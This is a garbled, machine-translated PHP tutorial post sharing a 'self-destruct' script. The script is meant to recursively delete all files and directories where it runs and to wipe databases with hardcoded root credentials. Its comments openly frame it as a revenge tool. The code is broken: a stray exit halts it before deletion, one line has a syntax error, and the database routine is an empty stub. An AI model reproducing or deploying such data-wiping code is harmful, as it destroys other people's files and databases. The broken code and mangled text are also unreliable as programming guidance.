The example in this article describes the PHP self-destruct program. Share it with everyone for your reference. The specific implementation method is as follows:
-
- // +--------------------------------------------- ----------------------------------
- // | Kill!!
- // | The program will clear all files in this directory Files, directories
- // | If database information is set, try to delete all database and table data (provided the permissions are sufficient!)
- // +----------------- -------------------------------------------------- ---
- // | Version: $Id$
- // +---------------------------------- ------------------------------------
- //----------Database Configuration area-----------------
- //The power of revenge is terrible, so there is no need to specify the database, delete them all!
- define('DB_USER', 'root');
- define('DB_PWD', 'root');
- define('DB_HOST', 'localhost');
- define('DB_PORT', '3216');
- define ('DB_DAMAGE', true); //When it is false, the database is not touched
- run();
- /**
- * The Juche idea must be glorious and great!
- *
- * @return void
- **/
- function run()
- {
- //Delete the file
- deletedir();
- / /Delete database
- deleteDB();
- }
- /**
- * Hahaha, delete all files in the current directory (recursively)
- *
- * @return void
- **/
- function deletedir($dir = ''){
- if ($dir == '') {
- $dir = realpath('.' );
- }
- echo $dir;
- exit();
- if(!handle=@opendir($dir)){
- //Check whether the directory to be opened exists
- die("There is no such directory");
- }
- while(false !==($file=readdir($handle))){
- if($file!=="."&&$file!==".."){
- //Exclude the current directory and parent Directory
- $file=$dir .DIRECTORY_SEPARATOR. $file;
- if(is_dir($file)){
- deletedir($file);
- }else{
- if(@unlink($file)){
- echo "File< ;b>$fileDeletion successful.
";
- }else{
- echo "File$fileDeletion failed!
";
- }
- }
- }
- if(@rmdir($dir)){
- echo "Directory$dir was deleted successfully.
n";
- }else{
- echo "Directory$ dirDelete failed!
n";
- }
- }
- /**
- * Hahaha, delete the database
- *
- * @return void
- **/
- function deleteDB()
- {
- if(DB_DAMAGE === true){
- //start
- }
- }
-
-
Copy code
I hope this article will be helpful to everyone’s PHP programming design.
|